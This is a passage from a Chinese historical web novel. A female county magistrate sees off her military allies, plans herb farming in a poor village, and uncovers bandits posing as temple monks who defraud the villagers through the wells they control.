就连武勇王爷的封地,都有了突破。 总兵确实厉害。 只要后面的人不拖后腿,他确实能打胜仗。 听说他今年也不过二十一。 称得上一句英才了。 永晟三年,正月二十。 南江县衙门三班六房已步入正轨。 江对岸的薛守备意外来访。 “来的突然,不过想着要走,必然要同你说一声的。”薛守备跟苏清见面次数其实不多的。 但他们之间的联系却极为频繁。 尤其在照顾伤兵,还有运送物资后,每隔几日都要通一次信。 手下来往更是频繁。 为此,薛守备他们要拔营去前线,肯定要亲自来的。 苏清也有心理准备。 薛守备算是给总兵练兵的守备之一,必然要跟着去前线。 苏清想了想道:“那边的后勤如何做?” 一个是如何照顾伤员。 二是物资运送还能不能过南江县。 苏清并非舍不得这两件事。 前者极耗财力物力,地方上没有家底,绝对支撑不起来。 其实算是包袱。 后者倒确实有盈利,这点不否认。 但只依靠一条运输路线,有些不安全。 薛守备眼中再次透着欣赏:“我要说的,正是这两件事。” “前线距离南江县一百多里地,紧急伤员自不能送来,到时候可能需要这里接收需长期养病的伤兵。” “周千户则会调走,在距离前线不远的县里,再建一个伤兵疗养院。” 苏清点头,让薛守备继续说。 “朝廷那边,很快会下新令。” “南江县确实不是唯一的物资中转地了,又开辟了四条路线,好让各地后勤物资送到前线。”薛守备说起来,很有信心,“不出一年,叛军首领都会被拿下。” “到时候,就天下太平了。” 薛守备最后一句说完,在场众人无不兴奋。 天下太平。 单是想想。 就很高兴了。 近日来的胜利,着实给顺昌国所有人,都带来信心。 薛守备还带来齐内官跟总兵的信。 两人皆表示感谢。 齐内官信里的情绪更外露些,他直言南江县的后勤极好。 没有这里的帮忙,战事不会那么顺利。 总兵的话内敛,却也不吝啬夸赞,不过这次没送字帖,看来战事确实很紧急。 信件看完,苏清就知道,要跟薛守备周千户告别了。 自她永晟元年六月份过来,年底开始接触军中。 如今已经是永晟三年的正月底。 跟薛守备,尤其是周千户他们的情谊,也算一种战友情了? “希望战事早日结束。” “到时候再来南江县,一起吃杯水酒。” 苏清的酒量,大家心里都有数。 她这么说,便是舍命陪君子。 众人都笑,周千户拱手:“属下必会来的,到时候县令不要嫌弃。” 这怎么会。 已经在戒酒,终于来当值的田县丞挠挠头。 都别提酒啊,这样他忍不住的。 大家又忍不住笑。 连田县丞都重新打起精神。 以后的日子,焉能不好?! 苏清笑,但不到最后一刻,谁都不能放松,骄兵必败啊。 不过以总兵的性格,应该不会成为骄兵吧? 这么想着,苏清跟罗主簿龚兵房等人,帮周千户整理物资。 医学训科的白,郝两位大夫也来了。 把各类担架都给周千户打包好,还有没用完的各类伤药,以及零零碎碎的医疗器械,全都送过去。 南江县的伤兵疗养院可能要成为历史。 但前面肯定需要的。 当然,医学训科也不在培养医护。 只挑了最厉害的三十人,同周千户一起去前线,在那边重新培训。 不过若是有熟手愿意跟着过去的,周千户更加欢迎。 苏清算是发现了。 永晟三年一开年,先把“未婚夫”送走。 现在又要送给周千户离开,是真舍不得。 可天下没有不散的筵席,这是迟早的事。 南江县码头的百姓,发现伤兵越来越少,心里也有不舍。 以前又惧又怕。 现在人不来了,难免多问几句。 知道前线往前推,只好道:“是好事,说明战事要结束了。” “叛军太难缠。” “天下早些太平吧,大家好好种地做买卖不好吗。” 去年年底热闹至极的南江县,今年虽也繁华,却也少了不少过往的差役伤兵。 好在县试马上来了。 各村的考生们聚在一起,更是闹腾。 又是县试! 又来了! 今年没有捣乱的苏典吏,一切都显得那般和谐啊。 费开宇自然也是考生之一。 他认真备考几个月,这次势必要考上的。 结果确实如他所料。 二月二十二的,今年县试结果出来。 十五个名额里,费开宇稳居榜首。 “可以啊,竟然是县案首。”苏清笑,“闭关几个月,还是有用的。” 费开宇被苏县令夸赞,不好意思地笑。 十五个考生齐齐向县令行礼,又领了衙门给的路费,准备准备便去府城。 府试,府学考,还等着他们呢。 全考完了,方是秀才。 都知道当今陛下极为注重科举。 他们必然要好好学,好好考。 若能像顾案首一样。 去了京城,进了国子监,还能被皇上当面夸赞,那太好了。 又送走一批人。 苏清都嘀咕:“今年怎么回事,一直在送人。” 好在南江县依旧如常。 而且药田数字也控制在合理的范围内。 今年胜仗多,战事缩紧,反而各地种药材的变多。 药材肯定很便宜的,没必要再添新地。 若以后还想做药材买卖,现在就要想着转型了。 他们南江县适合种药材,不能浪费这个长处。 苏清列出几个名贵药材的清单,让医学训科帮忙购买种子。 越名贵的药材,对种植条件越苛刻。 其中三类,必要种在山谷当中才能存活。 苏清看了看本县地图。 山凹村。 这个村子给她留下的印象极为深刻。 去年药材滞销的时候。 就是他们村的村民,主动过来帮忙。 说不要银子,不要利息,把药材给他们即可。 也是从他们村子开始,本地百姓都帮她想办法。 而这个村子,又是南江县出了名的穷村。 听名字就知道,这村子建在三座山当中。 即使他们这的山不高,出来一趟,也是很费事的。 年前听人汇报时,他们村子买的年货数量,也是各个村子里最少的。 所以这三类药材。 她要种在本县最穷的山凹村。 等挣到银子,说不定就能修一条通往县城的道路。 苏清点了几个人的名字:“三日后,去山凹村考察。” “咱们去看看,那里适合种什么样的药材。” 什么山凹村。 以后要叫药谷村! 第32章 永晟三年,三月初。 苏清出发去山凹村之前,把安排的差事都安排好。 毕竟那边山路复杂,进村的一段路只能步行。 所以这一来一回,至少五六天时间。 跟着她一起去的,还有武捕头,白大夫,以及几个办事得力的书吏差役。 走之前梅娘很是担心,说她也同去:“以前有从斯跟着,去哪都放心,现在只你一个女子,到底不方便。” “对了,那山凹村附近,还有个罗宁寺,听说很是灵验,可以顺便去烧烧香。” 南江县其他地方就罢了,这次要爬一段山路,还要穿过山谷。 梅娘过去,纯属添乱啊。 至于烧香拜佛这种事,她更不信啊。 最后是邬户房让自己的丫鬟陪着同去。 这个小丫鬟不仅识文断字,在邬杉月做户房的时候跟着跑腿,也熟悉衙门差事。 苏清叹口气,临走之前,又吩咐一件事:“衙门不是还有四五个书吏空缺。” “鼓励女子应招吧,我也找两个长随。” 这事交给魏吏房,他立刻应下。 三月初四,苏清带着七八个人出发。 这次没有带药材种子,但白大夫却带了会种药材的伙计。 毕竟头一回去山凹村考察。 先看看情况再说。 这个村子情况最不好。 从他们年货采买就能看出来了。 希望找到适合那里的药材,让山凹村百姓也过上好日子。 苏清他们一行早上出发,傍晚才到。 不过走到半途时,山凹村的村长跟村长娘子,还有几个愿意张罗事的夫妇,已经迎了上来。 消息传到他们村子的时候,大家都不敢相信。 苏县令要来他们村子? 还要住上几日,说是什么考察? 虽然大家听的云里雾里,但不妨碍他们极为欢迎。 村里早就准备好干净的民居,还安排这家人生火做饭。 不过没想到,苏县令他们带了粮食跟肉,不仅不吃他们的食物,还分给主人家。 晚上,众人在山凹村村民家里饱餐一顿。 许久没吃肉的小孩,恨不得把盘子都舔干净。 苏清多看了几眼,又看了这家的情况,开口问道:“村里的药材收成如何,咱们村的药田数目,似乎不多。” 村长赶紧答道:“能种的土地少,药田就少了,不过收成还不错的,很多外面种不成的药,我们这都能种。” 这家主人还说:“对啊,我们这山谷里还有天生地长的药材,可以采摘。” “不过多亏了您,否则药材都卖不上价。” 既然这样,那为何家徒四壁,一两个月都吃不上一次肉? 而且这家在山凹村的情况,已经算不错的了。 否则不会特意腾出来,用来招待他们。 苏清把碗里的肉挑给孩子,心里带着疑问。 吃过饭后,天已经黑了。 这家主人挎着竹篮走到门外。 只见山凹村不少人家,都带着差不多的竹篮蹲在门外角落,嘴里念念有词,手里这烧着经文等物。 村长娘子也告辞离开:“吃过饭都要烧经文的,不能耽搁了。” 苏清跟武捕头,白大夫对视一眼。 白大夫上前问道:“主人家,这是你们村子的习俗吗?” “是啊,三月三后,要连烧九日的经文。” “这样就能保佑山凹村风调雨顺,不缺吃不缺水。” 今日三月初四。 也就是要烧到三月十二。 “经文是哪里来的?”苏清看得出来,那经文是熟手抄录印刷,“多少钱买的。” “罗宁寺。”主人家脸上带着敬畏,“方丈开过光的经文,极为珍稀,却分文不取的。” 分文不取? 苏清挑眉,她怎么不信。 眼看山凹村家家户户,都在吃过晚饭后烧经文,空气里都是焚烧带来浊气。 晚上,苏清被安排住进主屋,不过她并未休息,而是跟武捕头,白大夫他们谈事。 白大夫斟酌片刻,开口道:“战乱之前,或者说您父亲苏县令来之前,罗宁寺在整个南江县很有名气。” “不少人主动跑过来求经文,求开光,也求药。” 苏清她爹来了之后,整治此地,情况才好些。 战乱后更不用讲,有了苏清在,罗宁寺几乎退出大部分百姓视野。 唯独距离最近的山凹村,因为环境闭塞,去到罗宁寺也就一个时辰的功夫,依旧深受影响。 苏清又问:“经文不要钱?此事是真是假。” 武捕头派出去的人已经回来了,打听清楚情况。 “经文是不要钱,但每个月每家都要给供奉。” “只要给了供奉,罗宁寺的和尚就会给他们日日祈福,不缺水不缺吃。” “罗宁寺则供给水源以及经文,还有各类祈福用的小玩意。” 那差役说着,顿了下:“每家给的供奉不一而足,但至少要拿收入的一半。” 多少?! 别说苏清,白大夫等人眼睛瞪得比牛都大。 开什么玩笑啊。 收入的一半,全给寺庙了?! 给水源? 这个是什么东西。 经文? 又是什么鬼。 不管怎么样,苏清算是明白过来。 为什么山凹村格外穷,原来有吸血虫跟着。 “好个罗宁寺。”苏清冷声道。 那一切疑惑都有答案了。 为什么这个村的村民长时间吃不上肉。 为什么他们购置年货时,格外缺钱。 为什么全县都在靠药材获利,此地的贫穷会显得那么突出。 甚至让苏清都注意到,然后不辞辛苦跑来。 是不是该谢谢罗宁寺实在可恶。 若非吸血吸这么狠。 也不至于被发现。 气愤过后,苏清等人开始一一分析。 首先经文什么乱七八糟的,肯定是骗钱的。 水源是怎么回事? 南江县临近江边,很少有缺水的情况。 而是此地三面环山,还有山泉水可用。 苏清这个疑问出来,其他人倒是笑。 “县令忘了,这山上也分汛期跟旱期。” 苏清挠头。 好像是这么回事。 多雨的时候,就有山泉水流下,天气干旱,便无水可用。 所以那罗宁寺就是拿住这点。 让山凹村依附他们? “看来这罗宁寺,还真要去一去了。”苏清笑道,“不要打草惊蛇,明日就说,要替我娘求香囊佛珠,咱们去看看。” 南江县衙门众人,历经不知多少事。 随便单拎一个出来,都有看家本领,更不会是酒囊饭袋。 故而来此头一日,便发现问题的严重。 换了其他人来,只看到他们烧经文,多半也不会多想。 所以那罗宁寺的和尚们,听说苏县令要来拜佛,只有高兴的份。 南江县衙门非常有钱! 听说去年年底,单药材就卖了十万两银子! 十万两啊。 能修多少佛堂殿宇了。 听说那县令是女子,又极为孝顺她娘。 妇人们都爱拜佛,说不定能说动她,给罗宁寺的佛像重塑金身呢! 想到这,和尚尼姑们更为激动。 苏清看到尼姑的时候,一时没反应过来。 罗宁寺罗方丈赶紧解释:“我们住东院,她们住西院,不相干的。” 真的不相干吗。 苏清有些头疼,不过面上没有显露,跟着罗方丈他们逛寺庙。 这罗方丈说起佛法,确实有些意思,对各类经文佛家故事极为熟练。 可惜这份本事,都用到敛财上了。 “所以贫僧一直劝人为善。” “山凹村村民人人向善,民风淳朴,皆是佛法。” 跟着过来的村长夫妇连连点头。 看起来十分赞同罗方丈的话。 说到这,苏清没打算讲什么,罗方丈竟觉得情况不错,想要“趁热打铁”。 “去年药材滞销,村民们主动去寻解决之法,真乃我佛慈悲。” 好好好。 把村民们自发帮衙门的事,全归在佛身上? 苏清嘴角带笑,指着来挑水的村民道:“这也是我佛慈悲?” “自然,罗宁寺的四口井,免费开放给所有百姓。” 免费? 那山凹村的村民,把收入一大半都给你们,这算什么? 事已至此。 苏清大概弄明白怎么回事。 这罗宁寺利用信仰,糊弄无知百姓。 还拿百姓们的善良给自己增光。 看似一个愿打一个愿挨。 实际上,跟诈骗没什么区别。 而且这种情况,明显带着裹挟的意思。 要说山凹村人人都愿意交钱给他们,那也未必。 但这种情况下,若是不交钱,必然会被排挤。 最重要的是,旱季的时候,还不能过来挑水。 罗宁寺和尚尼姑加起来,也有近二十人,更会有武力胁迫,造成佛祖惩罚的假象。 归根到底,就是这罗宁寺把持水源。 逼着农户交出自己一半收入。 苏清越想越气。 整个南江县辛辛苦苦种粮种药。 山凹村百姓还付出更多努力。 全养你们这□□夫□□啊。 苏清看了看自己带着的人手,又看这地理环境,知道不是动手的好时候。 主要问题在于。 不知道本地百姓怎么想。 这种情况下,她要是跟罗宁寺有争端。 本地百姓帮谁,谁就会赢。 到底是罗宁寺佛心吸引人。 还是她的民心更稳。 苏清不确定,也不敢赌。 这三山环绕之地。 把他们一群人抛尸荒野,跟玩一样。 中午回到山凹村,苏清等人脸色严肃。 罗宁寺肯定要处置的。 如何处置,什么时候处置,是个问题。 武捕头建议苏县令先走:“太危险了,那群和尚一看就不是什么好物,倘若知道咱们的想法,难免狗急跳墙。” “您先回衙门调集人手,有个百十来个乡勇,就能把他们全抓了。” 白大夫有些犹豫:“人手太多,他们也会发现。” “和尚比咱们熟悉这里的路,不好抓的。” “而且咱们突然离开,对方难免生疑。” 不过想到最后,白大夫也建议苏县令带着丫鬟先走。 众人吵得厉害,一时拿不定主意,门外却传出一声惊呼,碗碟筷子摔了一地。 差役追出去时,正好看到主人家的背影。 “不好,他们听到了。” 苏清赶紧让人去追。 但这山村里地形不同寻常,没走多远,别说追上,那人的背影都看不到了。 苏清制止武捕头,让他不要训斥,只道:“立刻收拾东西离开。” 苏清心跳得极快。 虽说经历那么多事,但此刻,似乎是离死亡最近的时候了。 只要让罗宁寺和尚们知道她的想法。 她必死无疑。 断人财路如杀人父母。 这种情况下,肯定不可能放她走的。 杀了她,然后卷带财物跑路是最好的选择。 苏清遇到事时,脑子愈发清晰:“从山凹村到罗宁寺要一个时辰。” “只是不知道,村里人会不会帮忙围堵。” 不管哪种情况,他们都非常危险。 最多一个时辰的跑路时间。 快跑吧,还说什么。 因为要走山路,马匹要寄养在山下农户家里,这段路只能靠自己走了。 “找两个脚程快的,先一步去取马,不用接我,先去衙门喊人手。” “对了,伤兵疗养院那里,有伤势痊愈的士兵,能喊的话,也把他们喊过来。” “总之人越多越好。” 苏清一边安慰邬户房的丫鬟,一边吩咐事情,走的也极快。 大中午的,山凹村的村民要么在吃午饭,要么在回家路上。 衙门众人还要装作若无其事,只说去看看情况。 等到没人的时候,大家才撒丫子跑。 没想到体力最弱的,竟然是白大夫,还需要武捕头拉着。 本以为就是趟普普通通的出差。 没想到是生死时速啊。 不知跑了多久,苏清胸口有了血腥味。 通往县城的路还没走一半。 山凹村还在眼前。 跑吧,逃命要紧。 苏清深吸口气,继续逃命。 可身后还是传来更快的脚步声,以及村长等人的声音:“苏县令,苏县令等等。” “别跑啊!” “你对罗宁寺肯定有误会的!” “听我们解释解释吧。” 越是这样,越要跑的! 没想到主人家没去罗宁寺,而是去找村长了。 怪不得追得这样快。 眼看对方就到眼前,苏清喘着粗气,看着实在跑不动的白大夫,还有满头大汗的小丫鬟。 而脚程快的两个差役,已经不见踪影。 不过再追下去,难免发现他们的动向。 苏清深吸口气:“别跑了。” “咱们跑不过的。” 村民们步伐迅速,熟悉道路,体力也好。 他们这些衙门办差的,真比不过。 见苏县令他们停住,村长几步就跑过来了,五六十的老汉步伐轻快到不可思议! 村长左右看看,赶紧道:“水,拿水来。” 后面有人解下水袋,看着一脸难过。 苏清他们借住的主人家也在,赶紧道:“县令大人喝点水吧。” 衙门剩下的六人面面相觑。 这谁敢喝? 见苏县令如此防备。 本就一脸难过的村民,更加不高兴了:“苏县令,您为什么要防着我们啊。” 主人家也道:“是啊县令大人,有误会咱们解开就好了。” 村长自己先喝了一口,这才递给苏清,一脸期待。 见苏清接过,村长才道:“方才狗娃莽撞,他不是故意听你们说话,只是听到你们对罗方丈他们有误解,所以匆匆过来找我,让我解释清楚的。” 一直说的主人家的家主,就是外号叫狗娃的汉子。 苏清顿了下。 狗娃直接去找村长,没有通知罗宁寺? “那我们的谈话,还有谁知道?” 村长道:“小老儿想去解释,却听说你们已经走了,故而来追。” 村子指了指身后七八个人:“路上碰到他们,便都喊来了。” 也就是说。 除了眼前之人外,没有旁人知道发生了什么。 苏清喝下水,又递给其他人。 大家早就累得不行,抱着水袋喝了个干净。 等气喘匀了。 苏清找了个空地,跟村长等人解释。 苏清说完她的想法。 认为罗宁寺在诓骗山凹村,拿村民敛财。 村长为首的九个人,先开始反驳之后,之后又不知说什么。 一面是给他们水吃的罗宁寺。 另一面是苏县令。 这该如何选? 但不管怎么样,苏县令不该不信任他们的。 听此,苏清只好道:“就是怕罗宁寺那边知道了,若我猜错了,也就罢了。” “猜对了,他们肯定要杀了我的。” 此话一出,本来委屈极了的狗娃他们,脸上瞬间带了惊恐。 对啊,要是真的。 肯定会为了银子杀人。 村民里面,有个一直沉默的年轻人忽然道:“我上次去寺里挑水,碰到一件事。” 说完,看了看苏县令跟小丫鬟,很不好意思说。 苏清见他的表情,直接道:“看到和尚跟尼姑在苟合?” 苏清说的极为坦荡,对方赶紧点头。 竟然有这种事?! 村长惊讶之余,竟也不觉得意外。 身为村长,他确实也有怀疑。 不过多数时候,还是依照惯例信任罗方丈。 毕竟他们旱季想要吃水,只能靠寺里。 很多事睁一只眼闭一只眼就算了。 可这件事对其他人带来的冲击极大。 尤其是狗娃,他完全不信啊! 和尚跟尼姑都是清修之人,怎么可以这样! 话已至此,苏清就知道山凹村的村民,并不是全然信任罗宁寺。 既如此,就有突破口。 而且看起来,他们对自己的好感,似乎更多。 苏清耐心解释:“你们辛苦劳作,挣来的粮食跟银子,何苦分给他们。” “朝廷要税收,庙里要供奉,你们家人就不要吃喝了吗?” “那井水本就应该无偿供给你们,就算是收费,也要合理才是。不该拿什么经文祈福糊弄人。” 苏清还道:“我这次过来考察,你们知道为什么吗?” 大家自然不懂。 白大夫有心想说,你费劲解释,他们要是还听不明白怎么办。 苏清却继续道:“因为咱们南江县二十个县里,你们村子采买的年货,吃的肉,买的布匹,都是最少的。” “所以我觉得奇怪,明明大家挣钱了,为什么不改善生活。” “我还以为是这里太过偏僻,就想在这种些特有的,名贵的药材,好让大家过上好日子。” “没想到,咱们村民的日子,原本应该很好的。” “却被假和尚假尼姑们给骗了。” 苏清全是肺腑之言。 从她口中说出的话,本就令人信服,如今字字句句真情实意,怎会不触动人心。 一边是问他们要粮要银子的罗宁寺。 一边是苏县令。 天平逐渐倾斜。 苏清最后道:“相信我的,惩治了这些假和尚,把四口水井要回来。” “以后不用给供奉,也能打水。” “你们不想吃饱饭,还是不想吃肉,还是不想让孩子们上学?” 都想的。 全都想。 或许那罗宁寺真有问题吧? 争论之中,天色逐渐变暗,村长提议道:“先回村子吧,有什么事咱们明日再聊。” “不可!”武捕头等人齐声道。 此话一出,村民们沉默了。 为什么还是不信任他们。 苏清叹口气,命很重要。 信任也重要。 如果失去山凹村百姓的信任,想要剿灭罗宁寺一二十人,则会极为困难。 “好,回村里。”苏清站起来道,“回村里,召集所有村民,看大家的意见。” 山凹村共计一百一十六户,共有六百一十三人。 她不能,也不会把他们全都推开。 这不行吧?! 万一有危险。 他们万死难辞其咎! 邬家的小丫鬟瑟瑟发抖,躲在苏县令身后。 她更加深切地明白,为何小姐会那般信任苏县令,会那么佩服苏县令。 苏清坚持,其他人多半拗不过,更不肯自己离开。 死也是要死在一起的。 苏清嘴唇微动,说不出的感受在心口涌起。 衙门六人再次往山凹村走去。 不过这次,苏清觉得,她可以再次依赖百姓,再次靠着他们,解决眼前的难题。 三月初五,山凹村一百多户村民,都在准备晚饭。 其实以前的他们,并没有吃晚饭的习惯。 但现在挣的钱多了一点,也就有了。 哎,要是再挣多点,说不定就能吃饱了啊。 但大家或做饭或吃饭时,村长敲了铜锣,挨家挨户喊他们,说是要开大会。 这个时候开会? 为什么啊? 还要每个人都去,发生什么大事了? 难道叛军又打过来了?! 他们上次躲在山沟沟里,所有人都躲过一劫,但财物却被抢干净。 不会又要重演吧?! 村民们慌慌张张跑到村长家门口。 附近晒粮食的空地上,已经站满村民。 而最上面中间的,不是村长,而是苏县令。 大家眼睛一亮。 苏县令! 苏县令有话要说吗?! 他们愿意听! 确定人到齐之后,苏清点点头,走上前一步,开口道:“今日要说的事,跟罗宁寺有关。” 苏清开门见山:“下个月的供奉,还请大家不要再交了。” “罗宁寺的四口井,会免费向村民开放。” 什么?! 不给罗宁寺交供奉? 那谁来保佑他们。 井水免费,现在也算免费吧? 苏清看着台下众人,村民们表情不一。 多数人并不知道发生了什么。 少数人脸上带了惊喜。 还有更少数人,则想偷偷溜走。 可他们刚动了下,就被差役按住,确保没有一个人去通风报信。 山凹村的人被抓,村民们本有些慌张。 但仔细一看,被抓的三个人,全都是村里有名好吃懒做的闲汉。 见此,大家反而不慌了,等着看热闹。 谁料这三人押到台上,就听苏县令道:“你们要去做什么?通风报信,让罗方丈杀了我吗?” 苏清语不惊人死不休。 几句话下来,在场人无不震撼。 杀了她? 县令这么好,罗方丈为何要杀? 三个闲汉也被吓到了,他们根本没想那么多啊。 他们收了罗方丈的钱,还经常跟尼姑厮混在一起,有事发生肯定禀告的。 武捕头将其中一人捉起来,使了些手段,让他老实交代,平日在罗宁寺都做些什么。 听到他跟和尚吃酒赌钱,还跟尼姑钻野地的时候,多数村民都傻眼了。 这,这怎么可能?! 但村里人这么多,撞到和尚恶行的不止一个。 之前不敢说,现在却能趁机讲出来。 “我们也见过,上次交供奉的时候,那和尚在吃鸡腿。” “对,还买了酒。” “他们好像不在南江县买酒买肉,跟隔壁富盈县行脚商有勾结,每月来送货。” “你早知道!以前怎么不说?!” “谁敢啊,说出来也没用,咱们到底要吃人家的水。” 众人七嘴八舌讲着,把罗宁寺恶行拼凑完整。 不用苏清多讲,本地村民已然义愤填膺。 唯有些信得深的,一直摇头。 可在事实面前,似乎无从抵赖,他们甚至随身带着经文,直接扔到地上,再踩上两脚。 苏清却道:“我知道,各家还有许多经文。” “这些不是免费得来的,都是你们交了供奉买的。” “想不想把钱要回来。” “买吃的买穿的,过更好的日子?” 肯定想啊! 武捕头白大夫暗叹,苏县令几句话,就把所有人的情绪调动起来。 如此本事,实在罕见。 见众人都想,苏清道:“那各家都出一个人,咱们拿着经文去罗宁寺一趟,把钱都要回来!” 真的吗?! 苏县令也去? 今日就去?! 他们行吗? 苏清说做就做,在各家里面挑人。 被挑出来的村民,自然是早就有疑虑的,他们更愿意把银子要回来,也更愿意出力。 说话间,一百多人已经站出来。 苏清却并未动身,她看着村口方向,还在等人。 不多时,由村长儿子领着的捕快差役,以及养伤的士兵们都来了。 前者二十多人,后者竟然有二百多个! 苏清都这数字惊到了。 领头的士兵名叫连飞扬,今年不过二十四,他是总兵旗下援兵营的把总。 把总这官职,手底下能管五百士兵,放到现代,高低是个营长级别。 连把总来南江县养伤,已经有段时间,近日正准备回前线。 没想到,遇到衙门龚典吏匆匆来找,说他们县令有危险,看看有没有人能去帮帮忙,营救他们苏县令。 此话一说,伤病疗养处两千人焉能不动身,全都抢着要去。 别管发生了什么,救人要紧啊。 这可是苏县令,前线士兵哪个不感激的苏县令。 他们要是不去救人,同袍们会把他们脊梁骨戳烂啊。 龚典吏傻眼,喊着:“衙门凑了五十人,咱们这里再出五十就行。” 连把总站出来,先了解具体情况,然后才道:“你们那五十人,必然有凑数的,救人这种是不行的。” “你们只挑最熟悉的,剩下的交给我。” 交给他的结果,便是带了二百个士兵,全都是伤势好的差不多那种。 这些兵,都是真正上过战场,见过血的士兵,战斗力自不用说。 单看气势,就能把人吓死。 他们架势,就是冲着山凹村来的。 若这村里的人敢伤害苏县令,他们也能一搏。 不过大家都没想到,山凹村的情况,根本不用他们操心。 有苏县令在,这里的百姓必然拥护她。 连把总上前,明显松口气:“但凭县令吩咐。” 衙门二三十人,山凹村一百多村民。 再有二百士兵。 去抓罗宁寺那不到二十个和尚尼姑? 太高看他们了啊! 不过人多也有人多的好处。 苏清看了一圈:“罗宁寺那里的人作恶多端,肯定有所防备。” “说不定会趁乱逃跑,到时候他们敛的金银,就难以追回了。” “既然咱们人多,便不放走一个,把他们,以及他们贪赃枉法收到的金银,全都搜出来!” 衙门龚典吏,武捕头,军中连把总,立刻称是。 天已经黑了。 有村民带路,却不怕什么。 三百多人在苏清的带领下,一齐往罗宁寺进发。 捉了假和尚尼姑,推了建在井水旁的院墙! 把山凹村百姓的银子要回来的! 至于这些破经文,扔他们脸上! 而那些暗暗跟罗宁寺有勾结的村民,此刻恨不得消失不见。 完了。 真的要完了。 除了台上早就吓尿裤子的三个人,剩下有勾结的闲汉立刻朝村长跪下。 村长负责看守村子,旁边还有三十军汉。 捉假和尚,保护县令这种事,他们去不成,脸色正臭呢。 见有人跳出来,肯定要狠狠给上几拳,再让他们交代清楚,全都做口供,然后签字画押! 正在吃酒耍钱的假和尚们跟假尼姑厮混到一起,甚至还通过富盈县行脚商弄来两个娼妓。 一堆人笑闹好不开怀,房门已经被紧紧围住。 确定所有和尚尼姑都在掌握当中,苏清点头:“抓人。” 抓人! 不到半个时辰,罗宁寺灯火通明。 罗方丈赤,裸着身体,被扔到佛像前,他满脸惊恐,根本不知道发生了什么。 可后面库房里,却搜出几把长刀,以及数十根狼牙棒。 “山贼所用之物。”连把总跟龚典吏道,“这些和尚是山贼?” 是不是,审问审问就知道了。 有人搬来椅子,苏清请连把总坐,自己也坐下,开堂审案。 火光当中,连把总好奇地看向苏清。 这个女子确实厉害。 自己那么重的伤,她管着的伤兵疗养院也能治好,更别说极好的营养餐,全都是她定下的规矩。 今日再看她审案,更是与众不同。 这气势,颇有些镇定自若的气势。 一夜过去。 三月初六,天光大亮。 士兵精神尚可,衙门众人有些疲惫,村民们多被安排休息。 最上方审案苏清面色如常:“确定无误,便签字画押吧。” 十三个和尚,六个尼姑。 和尚大半都是山贼,以罗方丈为首,抢了此地老方丈的位置,又仗着此地偏僻,偷梁换柱。 不听话的和尚该杀的就杀,尼姑多为娼妓做扮,被他们常年包在这里。 而包银,自然出在山凹村村民之手。 本以为是供奉佛像银子粮食,都成了他们嫖资。 更成为他们糊弄百姓的资金来源。 这些人甚至学了江湖把戏,什么伸手下油锅之类的戏法,骗得南江县百姓深信不疑。 尤其是距离最近的山凹村村民。 当然,那四口井,同样是挟制村民的手段。 本以为此时瞒天过海,他们又在深山老林里。 还能接着南江县日子好过些,多收些银子。 岂料苏清来一趟,便发现种种端倪。 更是直接端了他们老巢。 面对如此充足的人手,谁能抵挡的过?! 出动三百多人来抓十九个人! 是不是太看得起他们了! 罗方丈甚至能听到外面砸墙的声音。 那四口井以后不再是罗宁寺范围,会在附近重新修建房屋,也有人时时维护。 重点是,以后吃水,再也不用付钱! 不用给供奉! 龚典吏上来的:“大人,所有藏银都找到了。” “这是账本。” 厚厚一摞账本,都是这些人的不义之财,也是山凹村百姓的被骗的记录。 “走吧,回村里。” “把钱分一分,剩下的作为维护井水的费用,以及村里买药材种子的银子。” 回去的路上,连把总道:“你要不要休息半晌,已经不着急了。” 天已大亮,苏清这才看清连把总的脸,他生的眉宇张扬,眉毛上有道浅浅的疤,更显气势凌厉。 见苏清看他的疤,连飞扬眉宇更加肆意:“我升把总,就因这道疤。” 苏清不接这话,只回答上一句:“不休息了,快些处理完,你们也可以早点回去。” “你们是士兵。” 她一个县令,不应该调人的。 时间短了还好说,能说事急从权。 再耽误下去,就怕有人参她啊。 不出意外的话,现在盯着她的人,可不少呢。 连飞扬见她想的长远,点头道:“我让一部分人先回。” “放心,都是自愿来的,问起来,就说活动活动身子骨,兄弟们口风都严。” 罗宁寺的事情一出,整个南江县的百姓,全都傻眼了。 他们之前也去过的。 没想到那里的僧人,以前竟然是山贼?! “太可怕了吧,幸好就去了一次。” “苏县令差点被他们害了,实在可恶。” “那地方太偏,山凹村百姓实在惨。” “还好苏县令明察秋毫,救了他们。” “他们还因祸得福呢,县令大人准备在那边山谷里种名贵药材,以后的山凹村,要叫药谷村了。” 县城百姓讨论的热闹,等山贼们被押往府城时,还过来围观。 不出意外的话,这些人都会被砍头。 活该! 让他们欺负人! 让他们骗钱! 把别人辛辛苦苦地劳作成果巧取豪夺了,实在令人气愤! 苏清看着山贼身影,再看看山凹村百姓,以及帮她的伤兵们。 此事虽凶险,却也没那么凶险。 还好还好,一切都有个好结果。 不过,其他各村也要一一排查,绝对不能有这种事情再发生了。 山凹村的村民自不用说。 那罗宁寺一直给他们祈福日子也没见好。 反而是苏县令来一趟,不仅帮他们要回供奉,还把水井拨给他们。 现在还教他们种名贵药材。 如今的日子,才叫好呢。 等他们这批药材收获,说不定就能修条路,去县城更方便! 这日子,才是真正地有盼头吧?! 还烧佛经吗? 我们才不烧呢! 我们要去种药材了! 对了,山凹村正式改名。 叫我们药谷村! 第33章 三月十六,南江县衙门正堂。 “禀告苏县令,罗宁寺的山贼尽数交到府城刑司,已经判了三个斩立决,剩下从犯等人杖刑流放。”龚典吏道,“这件事知府大人也很重视,说会尽快解决。” 那么多山贼窝藏在寺里,听着就让人胆战心惊,谁能不怕。 苏清点头:“富盈县那边呢,那个勾连的行脚商抓了吗。” “府衙已经派了差役,说是富盈县那边已经把人关到监牢里,逃不过责罚的。” 既如此,这件事差不多了结了。 龚典吏顿了下,还是说了他听到的流言蜚语。 跟苏县令相处这样久,他知道县令不会迁怒。 “大人,府城有些流言,我们或许要注意。”龚典吏道。 苏清按了按手边的信件:“跟哪件事有关?是不满衙门又招了女书吏。” “还是药谷村的事,用了伤兵。” “又或者富盈县县令不满?” 龚典吏无奈:“以上皆有。” 他又奇怪道:“大人,您怎么知道的。” 顾从斯的好友来信,特意告知的。 自顾从斯去京城考试,那府城不知名好友,便没半个月寄一次信。 只是语气越来越怪,颇有些看热闹的感觉。 好在事无巨细,把府城情况同她说得很明白。 苏清又听龚典吏这边说了情况,表示知道了。 女书吏肯定要招的,她身边需要人手。 用了伤兵,更是事发突然,而且没想到来了那么多。 至于药谷村的事,牵连到富盈县,纯属意外。 不过这些事能引发那么多不满。 无非因为两件事。 一个是权,不满她这个女子有了权。 二是钱,南江县在广乐府这边,似乎有些过于富裕了。 